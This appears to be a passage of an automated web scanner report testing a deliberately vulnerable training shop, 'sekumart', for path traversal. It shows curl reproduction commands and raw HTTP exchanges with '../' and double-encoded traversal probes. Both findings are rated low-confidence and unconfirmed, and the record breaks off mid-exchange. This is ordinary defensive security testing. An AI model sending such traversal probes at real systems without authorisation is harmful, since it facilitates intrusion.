content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:25 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · page unconfirmed · low confidence BV-043 info

location: GET https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1
input: page in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

page reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

page looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/../1&filename=1'

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/../1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/../1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/%2e%2e/1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:37 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · page unconfirmed · low confidence BV-044 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1
input: page in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

page reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

page looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/../1&filename=1'

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/../1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:12 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:12 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/../1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:12 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/%2e%2e/1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:12 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:12 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

